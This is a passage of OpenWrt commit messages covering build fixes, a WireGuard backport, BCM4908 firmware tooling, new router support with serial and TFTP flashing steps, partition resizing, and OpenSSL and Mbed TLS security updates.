c7v5_us-up-ver1-1-2-P1[20210125-rel37999]_2021-01-25_10.33.55.bin works
as well:
U-Boot 1.1.4-gbec22107-dirty (Nov 18 2020 - 18:19:12)
...
Firmware downloaded... filesize = 0xeeae77 fileaddr = 0x80060000.
Firmware Recovery file length : 15642231
Firmware process id 2.
handle_fw_cloud 146
Image verify OK!
Firmware file Verify ok!
product-info:product_name:Archer C7
product_ver:5.0.0
special_id:55530000
[Error]sysmgr_cfg_checkSupportList(): 1023 @ specialId 45550000 NOT Match.
Firmware supports, check OK.
Firmware Recovery check ok!
1. https://gist.github.com/ynezz/2e0583647d863386a66c3d231541b6d1
Signed-off-by: Petr Štetiar <ynezz@true.cz>
(cherry picked from commit e6d66375cb)
When $(FPIC) gets expanded on the command line (for instance
when setting environment variables for libtool, configure, or
make) we can't count on it not needing quoting (i.e. it could
contain multiple flags separated with spaces).
Fixes: dc31191ec3 ("build: make sure asm gets built with -DPIC")
Signed-off-by: Philip Prindeville <philipp@redfish-solutions.com>
(cherry picked from commit 7fae64cc06)
Refreshed all patches.
The following patches were manually changed:
* 610-netfilter_match_bypass_default_checks.patch
* 611-netfilter_match_bypass_default_table.patch
* 802-can-0002-can-rx-offload-fix-long-lines.patch
* 802-can-0003-can-rx-offload-can_rx_offload_compare-fix-typo.patch
* 802-can-0004-can-rx-offload-can_rx_offload_irq_offload_timestamp-.patch
* 802-can-0005-can-rx-offload-can_rx_offload_reset-remove-no-op-fun.patch
* 802-can-0006-can-rx-offload-Prepare-for-CAN-FD-support.patch
* 802-can-0018-can-flexcan-use-struct-canfd_frame-for-CAN-classic-f.patch
The can-dev.ko model was moved in the upstream kernel.
Compile-tested on: x86/64, armvirt/64, ath79/generic
Runtime-tested on: x86/64, armvirt/64, ath79/generic
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Move some disabled symbols found in armvirt target to generic.
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
(cherry picked from commit 12e942b1fd)
LPAE should be disabled as the Cortex-A8 cores don't support it,
and the kernel will crash on boot if it's enabled.
Signed-off-by: Zoltan HERPAI <wigyori@uid0.hu>
Fixes issue openwrt/packages#14921, whereby inline ASM wasn't getting
built as PIC; look at gmp-6.2.1/mpn/x86/pentium/popcount.asm for
example:
ifdef(`PIC',`
...
for a routine that exists in both PIC and non-PIC versions.
Make sure that wherever $(FPIC) gets passed as a variable expansion
that it gets quoted where necessary (such as setting environment
variables in shell commands).
Signed-off-by: Philip Prindeville <philipp@redfish-solutions.com>
(cherry picked from commit af22991e03)
Marvell mv88e6xxx switch series cannot perform MAC learning from
CPU-injected (FROM_CPU) DSA frames, which results in 2 issues.
- excessive flooding, due to the fact that DSA treats those addresses
as unknown
- the risk of stale routes, which can lead to temporary packet loss
Backport those patch series from netdev mailing list, which solve these
issues by adding and clearing static entries to the switch's FDB.
Add a hack patch to set default VID to 1 in port_fdb_{add,del}. Otherwise
the static entries will be added to the switch's private FDB if VLAN
filtering disabled, which will not work.
The switch may generate an "ATU violation" warning when a client moves
from the CPU port to a switch port because the static ATU entry added by
DSA core still points to the CPU port. DSA core will then clear the static
entry so it is not fatal. Disable the warning so it will not confuse users.
Link: https://lore.kernel.org/netdev/20210106095136.224739-1-olteanv@gmail.com/
Link: https://lore.kernel.org/netdev/20210116012515.3152-1-tobias@waldekranz.com/
Ref: https://gitlab.nic.cz/turris/turris-build/-/issues/165
Signed-off-by: DENG Qingfang <dqfext@gmail.com>
(cherry picked from commit 920eaab1d8)
This adds detection of the Sophos SG-105 and Sophos XG-105 models
and assignment of ethernet ports these models have to LAN/WAN.
Signed-off-by: Stan Grishin <stangri@melmac.net>
(cherry picked from commit 64eaf633ff)
Upstream iproute2 detects libbpf using a one-line $CC test-compile, which
normally ignores LDFLAGS. With NLS enabled however, LDFLAGS includes an
"rpath-link" linker option needed to resolve libintl.so. Its absence
causes both the compile and libbpf detection to fail:
ld: warning: libintl.so.8, needed by libbpf.so, not found (try using
-rpath or -rpath-link)
ld: libelf.so.1: undefined reference to `libintl_dgettext'
collect2: error: ld returned 1 exit status
Fix this by directly including $LDFLAGS in the test-compile command.
Reported-by: Ian Cooper <iancooper@hotmail.com>
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
(cherry picked from commit aab3a04ce8)
The libbfd package definition uses $(ICONV_DEPENDS) and $(INTL_DEPENDS)
but links against neither, leading to libbfd detection failures in other
packages (e.g. bpftools) and on-target relocation problems with libintl.so:
root@OpenWrt:/# ldd /usr/lib/libbfd.so
ldd (0x77db6000)
libc.so => ldd (0x77db6000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x77c6d000)
Error relocating /usr/lib/libbfd.so: libintl_dgettext: symbol not found
Add NLS-conditional linking of "libintl" to fix this. Also remove libbfd
package dependency $(ICONV_DEPENDS) which is not used during building or
linking.
Tested with QEMU on malta/be32, after building all packages from binutils,
bpftools and iproute2, using different libc options musl and glibc.
Fixes: 08e8175696 ("binutils: use nls.mk to fix libbfd link errors in
other packages")
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
(cherry picked from commit 9a59f62f61)
There is no direct linking of libintl from bpftools, only secondary linking
through libelf, so remove "-lintl" from TARGET_LDFLAGS.
Fixes: 5582fbd613 ("bpftools: support NLS, fix ppc build and update to 5.8.9")
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
(cherry picked from commit c8c638a19b)
This change was investigated previously [1] but not deemed necessary. With
the recent addition [2] of modern BPF loader support, however, tc gained
dependencies on libelf and libbpf, with a larger installation footprint.
Similar to ip-tiny/ip-full, split tc into tc-full and tc-tiny variants,
where the latter excludes the eBPF loader, uses a smaller executable, and
avoids libelf and libbpf package dependencies. Both variants provide the
'tc' virtual package, with tc-tiny as the default.
The previous tc package included a loadable module for iptables actions.
Separate this out into a common package, tc-mod-iptables, which both
variants depend on. Some package sizes on mips_24kc:
Before:
148343 tc_5.11.0-1_mips_24kc.ipk
After:
144833 tc-full_5.11.0-2_mips_24kc.ipk
138430 tc-tiny_5.11.0-2_mips_24kc.ipk (and no libelf or libbpf)
4115 tc-mod-iptables_5.11.0-2_mips_24kc.ipk
Also fix up some Makefile indentation.
[1] https://github.com/openwrt/openwrt/pull/1627#issuecomment-447619962
[2] b048a305a3 ("iproute2: update to 5.11.0")
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
(cherry picked from commit 72885e9608)
The link equalizer sch_teql.ko of package kmod-sched relies on a hotplug
script historically included in iproute2's tc package. In previous
discussion [1], consensus was the hotplug script is best located together
with the module in kmod-sched, but this change was deferred at the time.
Relocate the hotplug script now. This change also simplifies adding a tc
variant for minimal size with reduced functionality.
[1] https://github.com/openwrt/openwrt/pull/1627#issuecomment-447923636
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
(cherry picked from commit 863ce4f15f)
This patch has been submitted upstream to fix an error reported by a few
users. One instance seen using gcc 10.2.0, binutils 2.35.1 and musl 1.1.24:
bpf_glue.c: In function 'get_libbpf_version':
bpf_glue.c:46:11: error: 'PATH_MAX' undeclared (first use in this function);
did you mean 'AF_MAX'?
46 | char buf[PATH_MAX], *s;
| ^~~~~~~~
| AF_MAX
Reported-by: Rui Salvaterra <rsalvaterra@gmail.com>
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
(cherry picked from commit 10ffefe602)
The latest iproute2 version brings various improvements and fixes:
https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/log/?qt=range&q=v5.10.0..v5.11.0
In particular, ip and tc now use libbpf as the standard way to load BPF
programs, rather than the old, limited custom loader. This allows more
consistent and featureful BPF program handling e.g. support for global
initialized variables.
Also fix a longstanding problem with iproute2 builds where unneeded DSO
dependencies are added to most utilities, bloating their installation
footprint. From research and testing, explicitly using a "--as-needed"
linker flag avoids the issue. Update accordingly and drop extra package
dependencies from Makefile.
Additional build and packaging updates include:
- install missing development header to iproute2/bpf_elf.h
- propagate OpenWrt verbose flag during build
- update and refresh patches
Compile and run tested: QEMU/malta-mips32be on kernels 5.4 & 5.10.
All iproute2 packages were built and installed to the test image. Some
regression testing using ip-full and tc was successfully performed to
exercise several kmods, tc modules, and simple BPF programs.
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
(cherry picked from commit b048a305a3)
To the vast majority of the users, wireguard-tools are not useful
without the underlying kernel module. The cornercase of only generating
keys and not using the secure tunnel is something that won't be done on
an embedded OpenWrt system often. On the other hand, maintaining a
separate meta-package only for this use case introduces extra
complexity. WireGuard changes for Linux 5.10 remove the meta-package.
So let's make wireguard-tools depend on kmod-wireguard
to make WireGuard easier to use without having to install multiple
packages.
Fixes: ea980fb9 ("wireguard: bump to 20191226")
Signed-off-by: Ilya Lipnitskiy <ilya.lipnitskiy@gmail.com>
(cherry picked from commit cbcddc9f31)
Use NETWORK_SUPPORT_MENU like all other modules in netsupport.mk. Drop
SECTION and CATEGORY fields as they are set by default and to match
other packages in netsupport.mk. Use better TITLE for kmod-wireguard
(taken from upstream drivers/net/Kconfig).
Signed-off-by: Ilya Lipnitskiy <ilya.lipnitskiy@gmail.com>
(cherry picked from commit 0b53d6f7fa)
On Linux 5.4, build WireGuard from backports. Linux 5.10 contains
wireguard in-tree.
Add in-kernel crypto libraries required by WireGuard along with
arch-specific optimizations.
Signed-off-by: Ilya Lipnitskiy <ilya.lipnitskiy@gmail.com>
(cherry picked from commit 06351f1bd0)
(cherry picked from commit 464451d9ab)
Rather than using the clunky, old, slower wireguard-linux-compat out of
tree module, this commit does a patch-by-patch backport of upstream's
wireguard to 5.4. This specific backport is in widespread use, being
part of SUSE's enterprise kernel, Oracle's enterprise kernel, Google's
Android kernel, Gentoo's distro kernel, and probably more I've forgotten
about. It's definately the "more proper" way of adding wireguard to a
kernel than the ugly compat.h hell of the wireguard-linux-compat repo.
And most importantly for OpenWRT, it allows using the same module
configuration code for 5.10 as for 5.4, with no need for bifurcation.
These patches are from the backport tree which is maintained in the
open here: https://git.zx2c4.com/wireguard-linux/log/?h=backport-5.4.y
I'll be sending PRs to update this as needed.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
(cherry picked from commit 3888fa7880)
(cherry picked from commit d540725871)
(cherry picked from commit 196f3d586f)
(cherry picked from commit 3500fd7938)
(cherry picked from commit 23b801d3ba)
(cherry picked from commit 0c0cb97da7)
(cherry picked from commit 2a27f6f90a)
Signed-off-by: Ilya Lipnitskiy <ilya.lipnitskiy@gmail.com>
This enables building BCM4908 "raw" image that can be flashed using
bootloader web UI. It requires serial console access & stopping booting
by the "Press any key to stop auto run".
It's easy to build vendor like CHK image but it can't be safely flashed
using vendor UI at this point. Netgear implements method called "NAND
incremental flashing" that doesn't seem to flash bootfs partition as
provided.
Above method seems to update vmlinux.lz without updating 94908.dtb. It
prevents OpenWrt kernel from booting due to incomplete DTB file. Full
Netgear R8000P support can be enabled after finding a way to make vendor
firmware flash OpenWrt firmware including the 94908.dtb update.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit d92a9c97bf)
OpenWrt was succesfully tested on the GT-AC5300 model. It's possible to:
1. Install OpenWrt using vendor UI
2. Perform UBI aware sysupgrade
3. Install vendor firmware using OpenWrt sysupgrade
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 5e78cb9b85)
bcm4908img is a tool managing BCM4908 platform images. It's used for
creating them as well as checking, modifying and extracting data from.
It's required by both: host (for building firmware images) and target
(for sysupgrade purposes). Make it a host/target package.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 9b4fc4cae9)
It supports flashing OpenWrt images (bootfs & UBI upgrade) as well as
vendor images (whole MTD partition write).
Upgrading cferom is unsupported. It requires copying device specific
data (like MAC) to target image before flashing.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit a6a0b252ba)
This way MTD "bootfs" partition will be always 8+ MiB. This should be
enough for any custom / future firmware to fit its bootfs (e.g. big
kernel) without having to repertition whole flash. That way we can
preserve UBI and its erase counters during sysupgrade.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit ca9b1f15c4)
JFFS2 bootfs partition in a BCM4908 image usually includes some padding.
For flashing it individually (writing to designed MTD partition) we want
just JFFS2 data.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit ed7edf88e2)
Fix offset to extract proper data when image contains vendor header.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit dcbde11af1)
It's required for upgrading firmware using single partitions instead of
just blindly writing whole image.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit e33957c241)
It's much easier to operate on BCM4908 image data with absolute offset
of each section stored. It doesn't require summing sizes over and over.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 5314cab729)
The purpose of that dummy file is to make CFE work properly with OpenWrt
bootfs. CFE for some reason ignores JFFS2 files with ino 0.
Rename it to 1-openwrt so:
1. It's consistent with bcm63xx
2. It's OpenWrt specific so sysupgrade can distinguish it from vendor
images
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 880c8b4422)
This adds support for accessing bootfs JFFS2 partition in the BCM4908
image. Support includes:
1. Listing files
2. Renaming file (requires unchanged name length)
Above commands are useful for flashing BCM4908 images which by defualt
come with cferom.000 file and require renaming it.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit ed847ef5f3)
It's important for modifying / extracting firmware content. cferom is
optional image content at the file beginning.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 6af45b842b)
BCM4908 image format contains some info that may be useful for info /
debugging purposes.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 9b9184f178)
1. Don't allow pipe stdin as we need to fseek()
2. Don't alow TTY as it doesn't make sense for binary input
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit d533b27bc0)
Netgear uses CHK header which needs to be skipped when validating
BCM4908 image. Detect it directly in the bcm4908img tool. Dealing with
binary structs and endianess is way simpler in C.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit a39f85d8b6)
Move code parsing existing firmware file to separated function. This
cleans up existing code and allows reusing parsing code for other
commands.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 7d5f743942)
This tells OS (Linux) where from MAC should be read (bootloader MTD
partition).
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 1cc5eb45d5)
It's helpful for accessing booting data (DTS, kernel, etc.). It has to
be used carefully as CFE's JFFS2 support is quite dumb. It doesn't
recognize deleted files and has problems handling 0 inode.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 6dd727ac24)
1. Add leds and configs
2. Add network configs
3. Add script to clear partial boot flag
4. Hack to use port 5 as cpu port as port 8 connected to eth2
wont pass any frames
5. Enable EA9500 image generation
Hardware Info:
- Processor - Broadcom BCM4709C0KFEBG dual-core @ 1.4 GHz
- Switch - BCM53012 in BCM4709C0KFEBG & external BCM53125
- DDR3 RAM - 256 MB
- Flash - 128 MB (Toshiba TC58BVG0S3HTA00)
- 2.4GHz - BCM4366 4×4 2.4/5G single chip 802.11ac SoC
- Power Amp - Skyworks SE2623L 2.4 GHz power amp (x4)
- 5GHz x 2 - BCM4366 4×4 2.4/5G single chip 802.11ac SoC
- Power Amp - PLX Technology PEX8603 3-lane, 3-port PCIe switch
- Ports - 8 Ports, 1 WAN Ports
- Antennas - 8 Antennas
- Serial Port - @j6 [GND,TX,RX] (VCC NC) 115200 8n1
Flashing Instructions:
1. Connect a USB-TTL table to J6 on the router as well as a
ethernet cable to a lan port and your PC.
2. Power-on the router.
3. Use putty or a serial port program to view the terminal.
Hit Ctrl+C and interrupt the CFE terminal terminal.
4. Setup a TFTP server on your local machine at setup you
local IP to 192.168.1.2
5. Start the TFTP Server
6. Run following commands at the CFE terminal
flash -noheader 192.168.1.2:/openwrt.trx nflash0.trx
flash -noheader 192.168.1.2:/openwrt.trx nflash0.trx2
nvram set bootpartition=0 && nvram set partialboots=0 && nvram commit
7. Reboot router to be presented by OpenWrt
Note: Only installation method via serial cable is supported at the moment.
The trx firmware has to be flashed to both the partitions using following
commands from CFE prompt. This will cover US and Non-US variants.
Signed-off-by: Vivek Unune <npcomplete13@gmail.com>
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 209c5918b5)
These patches have been already accepted.
302-ARM-dts-BCM5301X-Update-Northstar-pinctrl-binding.patch had to
be updated.
[rmilecki: use actual upstream accepted patches
replace v5.10 with v5.11 to match actual upstream kernel
recover dropped part of the pinctrl compatible patch
update filenames
refresh patches]
Signed-off-by: Vivek Unune <npcomplete13@gmail.com>
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 39ed2265dd)
1. Use upstream accepted NVMEM patches
2. Minor fix for BCM4908 partitioning
3. Support for Linksys firmware partitions on Northstar
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 3fd0a4222b)
On NEC Aterm WG1200CR, the MAC address for WAN is printed in the label
on the case, not LAN.
This patch fixes this issue.
Fixes: 50fdc0374b ("ath79: provide label MAC address")
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
(cherry picked from commit e2331fb549)
There are only two lan ports and one wan port on Youku yk1
Fixes: e9baf8265b ("ramips: add support for Youku YK1")
Signed-off-by: Shiji Yang <yangshiji66@qq.com>
[add Fixes:]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit b88d2850c6)
libunwind dependency check does not allow for MIPS64 arch. Add MIPS64 awareness.
libunwind seems to support MIPS64 without issues, it was limited by the dep arch
check in the Makefile.
Used to compile Suricata6/Rust locally without issue.
Signed-off-by: Donald Hoskins <grommish@gmail.com>
(cherry picked from commit ea6d4bdde2)
While rebasing into setting bits instead of magic values,
I accidentally forgot to actually set the force bit.
Without it using the pins as GPIO-s did not actually work.
Fixes: b5c93ed ("ipq40xx: add Qualcomm QCA807x driver")
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
(cherry picked from commit 7f2d9ccd09)
The pkgconfig file hardcodes a host library directory which cannot be
overridden by OpenWrt during builds. Use SED to fix this and potential
include directory problems, as is done with several other packages.
This fixes a strange issue intermittently seen building iproute2 on the
oxnas target:
iptables modules directory: /usr/lib/iptables
libc has setns: yes
SELinux support: no
libbpf support: no
libbpf version 0.3.0 is too low, please update it to at least 0.1.0
LIBBPF_FORCE=on set, but couldn't find a usable libbpf
Fixes: 2f0d672088 ("bpftools: add utility and library packages
supporting eBPF usage")
Reported-by: Russell Senior <russell@personaltelco.net>
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
(cherry picked from commit 9e64e4ce26)
For Visual Studio Code users, .vscode is created inside the workspace.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry picked from commit 12dbad1a86)
DTR GPIO isn't actually needed and triggers boot warning.
TX pin was off by one (GPIO 19 instead of GPIO 18).
Reported-by: @tophirsch
Fixes: d1130ad265 ("ath79: add support for Teltonika RUT955")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
(cherry picked from commit 53a7d5d614)
If the environment variable FILTER is set before compilation,
compilation of the ppp-package will fail with the error message
Package ppp is missing dependencies for the following libraries:
libpcap.so.1
The reason is that the OpenWrt-patch for the Makefile only comments
out the line FILTER=y. Hence the pcap-library will be dynamically
linked if the environment variable FILTER is set elsewhere, which
causes compilation to fail. The fix consists on explicitly unsetting
the variable FILTER instead.
Signed-off-by: Eike Ritter <git@rittere.co.uk>
(cherry picked from commit 46cd0765d0)
This patch skips zero length DHCP options instead of failing.
Signed-off-by: Russell Senior <russell@personaltelco.net>
(cherry picked from commit 1c04365071)
The original GL.iNet firmware has two different mac addresses in the
factory/art partition. The first one is for the WAN interface only and the
second one is for both lan0 and lan1.
But the original submission for OpenWrt didn't initialize the mac
addresses of the LAN ports for the DSA device at all. The ethernet mac
address was then used for all DSA ports.
Fixes: 050c24f05c ("mvebu: add support for GL.iNet GL-MV1000")
Signed-off-by: Sven Eckelmann <sven@narfation.org>
(cherry picked from commit c20ac84803)
The original patch to support this device advertised support for the reset
button and the "switch" in the commit message. But neither were actually
integrated in the device tree or documented anywere.
The button itself is now used to trigger a reset (as described in the
official GL.iNet documentation). The switch itself is registered as BTN_0
like other devices from GL.iNet in ath79.
Fixes: 050c24f05c ("mvebu: add support for GL.iNet GL-MV1000")
Signed-off-by: Sven Eckelmann <sven@narfation.org>
(cherry picked from commit 01b911a938)
Kernel size limits have been dealt with.
Effective revert of a1eb2c46 and ac9730c4.
Signed-off-by: Tad Davanzo <tad@spotco.us>
(cherry picked from commit b4f76d9f0d)
venom has a 3MB kernel partition as specified by the DTS.
3MB is not sufficient for building with many kernel modules or newer
kernel versions.
venom uboot however as set from factory will load up to 6MB.
This can be observed by looking a uboot log:
NAND read: device 0 offset 0x900000, size 0x600000
6291456 bytes read: OK
and from uboot environment variables:
$ fw_printenv | grep "priKernSize";
priKernSize=0x0600000
Resize the root partitions from 120MB to 117MB to let kernel expand
into it another 3MB.
And set kernel target size to 6MB.
Lastly set the kernel-size-migration compatibility version on venom to
prevent sysupgrading without first reinstalling from a factory image.
Signed-off-by: Tad Davanzo <tad@spotco.us>
(cherry picked from commit 15309f5133)
mamba has a 3MB kernel partition as specified by the DTS.
3MB is not sufficient for building with many kernel modules or newer
kernel versions.
mamba uboot however as set from factory will load up to 4MB.
This can be observed by looking a uboot log:
NAND read: device 0 offset 0xa00000, size 0x400000
4194304 bytes read: OK
and from uboot environment variables:
$ fw_printenv | grep "pri_kern_size";
pri_kern_size=0x400000
Resize the root partitions from 37MB to 36MB to let kernel expand
into it another 1MB.
And set kernel target size to 4MB.
Lastly add a compatibility version message: kernel-size-migration.
And set it on mamba to prevent sysupgrading without first reinstalling from
a factory image.
Signed-off-by: Tad Davanzo <tad@spotco.us>
(cherry picked from commit 10415d5e70)
This includes several improvements and fixes:
61db17e rules: fix device and chain usage for DSCP/MARK targets
7b844f4 zone: avoid duplicates in devices list
c2c72c6 firewall3: remove last remaining sprintf()
12f6f14 iptables: fix serializing multiple weekdays
00f27ab firewall3: fix duplicate defaults section detection
e8f2d8f ipsets: allow blank/commented lines with loadfile
8c2f9fa fw3: zones: limit zone names to 11 bytes
78d52a2 options: fix parsing of boolean attributes
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
(cherry picked from commit 0d75aa27d4)
Backport upstream patch that fixes TRGMII mode now that mt7530 is
actually resetting the switch on ramips devices.
Patches apply to both Linux 5.4 and 5.10, since TRGMII is broken on both.
Fixes: 69551a2442 ("ramips: manage low reset lines")
Signed-off-by: Ilya Lipnitskiy <ilya.lipnitskiy@gmail.com>
(cherry picked from commit 680f91d0e5)
Instead of deactivating this in every target config, deactivate it once
in the generic kernel config. I was asked for this config option in a
x86 64 build in OpenWrt 21.02.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 7d6553c72e)
This device is a wireless router working on 2.4GHz band based on
Qualcom/Atheros AR9132 rev 2 SoC and is accompanied by Atheros AR9103
wireless chip and Realtek RTL8366RB/S switches. Due to two different
switches being used also two different devices are provided.
Specification:
- 400 MHz CPU
- 64 MB of RAM
- 32 MB of FLASH (NOR)
- 3x3:2 2.4 GHz 802.11bgn
- 5x 10/100/1000 Mbps Ethernet
- 4x LED, 3x button, On/Off slider, Auto/On/Off slider
- 1x USB 2.0
- bare UART header place on PCB
Flash instruction:
- NOTE: Pay attention to the switch variant and choose the image to
flash accordingly. (dmesg / kernel logs can tell it)
- Methods for flashing
- Apply factory image in OEM firmware web-gui.
- Sysupgrade on top of existing OpenWRT image
- U-Boot TFPT recovery for both stock or OpenWRT images:
The device U-boot contains a TFTP server that by default has
an address 192.168.11.1 (MAC 02:AA:BB:CC:DD:1A). During the boot
there is a time window, during which the device allows an image to
be uploaded from a client with address 192.168.11.2. The image will
be written on flash automatically.
1) Have a computer with static IP address 192.168.11.2 and the
router device switched off.
2) Connect the LAN port next to the WAN port in the device and the
computer using a network switch.
3) Assign IP 192.168.11.1 the MAC address 02:AA:BB:CC:DD:1A
arp -s 192.168.11.1 02:AA:BB:CC:DD:1A
4) Initiate an upload using TFTP image variant
curl -T <imagename> tftp://192.168.11.1
5) Switch on the device. The image will be uploaded subsequently.
You can keep an eye on the diag light on the device, it should
keep on blinking for a while indicating the writing of the image.
General notes:
- In the stock firmware the MAC address is the same among all
interfaces so it is left here that way too.
Recovery:
- TFTP method
- U-boot serial console
Differences to ar71xx platform
- This device is split in two different targets now due to hardware
being a bit different under the hood. Dynamic solution within the same
image is left for later time.
- GPIOs for a sliding On/Off switch, marked 'Movie engine' on the device
cover, were the wrong way around and were renamed qos_on -> movie_off,
qos_off -> movie_on. Associated key codes remained the same they were.
The device tree source code is mostly based on musashino's work
Signed-off-by: Mauri Sandberg <sandberg@mailfence.com>
(cherry picked from commit bc356de285)
Generally, in upstream CFI flash memory driver uses buffers for write
operations. That does not work with AMD chip with id 0x2201 and we must
resort to writing word sized chunks only. That is, to not apply general
buffer write functionality for this given chip.
Without the patch kernel logs will be flooded with entries like below:
MTD do_erase_oneblock(): ERASE 0x01fa0000
MTD do_write_buffer(): WRITE 0x01fa0000(0x00001985)
MTD do_erase_oneblock(): ERASE 0x01f80000
MTD do_write_buffer(): WRITE 0x01f80000(0x00001985)
MTD do_write_buffer_wait(): software timeout, address:0x01f8000a.
jffs2: Write clean marker to block at 0x01a60000 failed: -5
MTD do_erase_oneblock(): ERASE 0x01f60000
MTD do_write_buffer(): WRITE 0x01f60000(0x00001985)
MTD do_write_buffer_wait(): software timeout, address:0x01f6000a.
jffs2: Write clean marker to block at 0x01a40000 failed: -5
References: http://patchwork.ozlabs.org/project/linux-mtd/patch/20210309174859.362060-1-sandberg@mailfence.com/
Signed-off-by: Mauri Sandberg <sandberg@mailfence.com>
[added link to usptream fix submission]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
(cherry picked from commit 8cc0fa8fac)
NXP 74HC153 is a GPIO expander. Its original source cide sits in ar71xx
architecture tree. It has been slightly modified to get GPIO pin
configuration from the device tree rather than a MACH file.
Changes to the source file:
- Remove struct nxp_74hc153_config
- in nxp_74hc153_probe(), fetch GPIO configuration from device tree
- allow GPIO framework decide the base number by passing -1 to it
- remove support for kernel versions below 4.5.0
- add OF device compatibility string
Create a package for inclusion in image.
References: https://lore.kernel.org/linux-gpio/545111184.50061.1615922388276@ichabod.co-bxl/
Signed-off-by: Mauri Sandberg <sandberg@mailfence.com>
[added link to driver usptreaming work in progress]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
(cherry picked from commit 6a6f9e73dd)
This version fixes 2 security vulnerabilities, among other changes:
- CVE-2021-3450: problem with verifying a certificate chain when using
the X509_V_FLAG_X509_STRICT flag.
- CVE-2021-3449: OpenSSL TLS server may crash if sent a maliciously
crafted renegotiation ClientHello message from a client.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
(cherry picked from commit 0bd0de7d43)
Remove duplicate packages by running in `target/linux/` rather than
`target/linux/<target>/<subtarget>` and sort packages alphabetically.
Squash commit of:
7880a64848 build,json: 3rd fixup of default_packages
b36068d35d build,json: fixup fixup of arch_packages
1bf2b3fe90 build,json: fixup missing arch_packages
Signed-off-by: Paul Spooren <mail@aparcar.org>
This should fix the problem of mwlwifi-firmware-* not being found
when using the ImageBuilder.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
(cherry picked from commit 9b3aaf1cdb)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Calling without the DUMP=1 argument causes the target specific Makefile
to be "included" again which adds the target specific packages twice,
once on the actual run and once included from `include/target.mk`.
This led to duplicate package entries, causing confusion in downstream
projects using the generated JSON files.
While at it, apply `black` style to Python script.
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit 7f4c2b1a4f)
Physical port order watched from the back of the device is:
4 / 3 / 2 / 1 / WAN which also matches corresponding leds.
This patch corrects LuCI switch webpage LAN port order.
Signed-off-by: Walter Sonius <walterav1984@gmail.com>
[improve commit title, fix sorting in 02_network]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 46c0634b50)
This patch enables LED support for the GL.iNet GL-MV1000
Signed-off-by: Jeff Collins <jeffcollins9292@gmail.com>
[add SPDX identifier on new file, add aliases, minor cosmetic issues]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 6e0c780eb3)
15346de client: Always close connection with request body in case of error
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 1170655f8b)
Instead of doing uci commit and reload_config for each setting do it
only once when one of these options was changed. This should make it a
little faster when both conditions are taken.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 501221af54)
Without this change the config is only committed, but the uhttpd daemon
is not reloaded. This reload is needed to apply the config. Without the
reload of uhttpd, the ubus server is not available over http and returns
a Error 404.
This caused problems when installing luci on the snapshots and
accessing it without reloading uhttpd.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit d25d281fd6)
This release of Mbed TLS provides bug fixes and minor enhancements. This
release includes fixes for security issues.
Security fixes:
* Fix a buffer overflow in mbedtls_mpi_sub_abs()
* Fix an errorneous estimation for an internal buffer in
mbedtls_pk_write_key_pem()
* Fix a stack buffer overflow with mbedtls_net_poll() and
mbedtls_net_recv_timeout()
* Guard against strong local side channel attack against base64 tables
by making access aceess to them use constant flow code
Full release announcement:
https://github.com/ARMmbed/mbedtls/releases/tag/v2.16.10
